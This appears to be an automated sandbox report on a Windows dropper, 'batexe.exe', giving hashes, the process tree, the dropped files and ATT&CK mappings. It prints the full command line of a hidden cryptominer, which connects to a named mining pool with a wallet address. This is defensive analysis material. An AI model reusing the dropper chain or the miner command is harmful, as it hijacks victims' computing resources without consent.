73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
294s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 14:09

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
216	b2e.exe
4000	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4000	cpuminer-sse2.exe
4000	cpuminer-sse2.exe
4000	cpuminer-sse2.exe
4000	cpuminer-sse2.exe
4000	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4236-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4236 wrote to memory of 216	4236	batexe.exe	75
PID 4236 wrote to memory of 216	4236	batexe.exe	75
PID 4236 wrote to memory of 216	4236	batexe.exe	75
PID 216 wrote to memory of 540	216	b2e.exe	76
PID 216 wrote to memory of 540	216	b2e.exe	76
PID 216 wrote to memory of 540	216	b2e.exe	76
PID 540 wrote to memory of 4000	540	cmd.exe	79
PID 540 wrote to memory of 4000	540	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4236
- C:\Users\Admin\AppData\Local\Temp\86A5.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\86A5.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\86A5.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8879.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:540
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\86A5.tmp\b2e.exe

Filesize
16.6MB

MD5
9d4c9a6511e740f264664113215d2758

SHA1
9f4350eea6b2f62ddef14a39da401a89e103a2ac

SHA256
598ee0663802f7368d41d07858dd5cc75f4cfca9665ca97c6a915d7f63cbc3ec

SHA512
fda7ba596ae36c07d79b5bdaa17653b35e424261147461e6d744a9313ea87fca074cb1e278babfa46f4c94cc9600cfaa0a1828b741b45ff2798b03c8a62a9a0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\86A5.tmp\b2e.exe

Filesize
19.5MB

MD5
f708b94f2e6616c49b539cf5da0978c6

SHA1
b79c77b34500ab9f9e0775d32120751f54de7a2d

SHA256
8664d37cf7fa4fb556f9ca30f803a1758ef9afdee3d8589f7769210f00121ca3

SHA512
0be124044ce26f51886aa60228091f4df405c7c5be502b89b0a7574a6eac3f71a1e3a96287bebf069a55e64bb634092296e40a2fa52a0ec0ad7768788c3b686b

Download Submit
C:\Users\Admin\AppData\Local\Temp\8879.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
293419fe6b9998db5d93c98cb30bc014

SHA1
384d55ddb917a12a5693eefa0ad2e1c47c571863

SHA256
6b017b15192d6233b7b030ff54bb33d90dfdc20aa56d367678ae98b74c20ffbd

SHA512
dfd23e83214ebd18b4a65cc436b068228ab34cccf9c0f97cdc6f79fddc505759e747ed468d6cafadfc75e00498d94077e51e74e798af679218c0f715b6fe56d5

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.9MB

MD5
5aefb64f9261d0cfadddb25bf3d43009

SHA1
06eb25a7613ff0872e7a7e72be0a95a45221983e

SHA256
e6150b5a3a6ec6f5cdd2ce8b71c55943d3316063577253b759b6fe408ffbd842

SHA512
7901e04eb27ed51e16fb63a751ce12836a0e986d16311347dc4bda070e50024c79a1addcb2d3039d2e2be98f86ce2d73cec6fc7c16a36dc21f407533dff63982

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.4MB

MD5
a278ab7f08f5ac64358de22bf1c44adf

SHA1
726e78e0f0db6b2d832d4abdbaa8b71b31a50994

SHA256
776a269e11cc3916ce822a24ddd81b5fa5d1fe892c520047b86ce1994fcd8ab7

SHA512
aabaaf7819c8d588b29643fc40151cbd4b5e815c52838c44e7208a421fd1e1146f75a8ed68f4168811d141fc5bda9596b2fb34af2da6bf5b799a59887556d3de

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/216-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/216-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4000-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4000-43-0x0000000058FB0000-0x0000000059048000-memory.dmp

Filesize
608KB

Download
memory/4000-44-0x0000000001060000-0x0000000002915000-memory.dmp

Filesize
24.7MB

Download
memory/4000-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4000-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4000-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4236-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download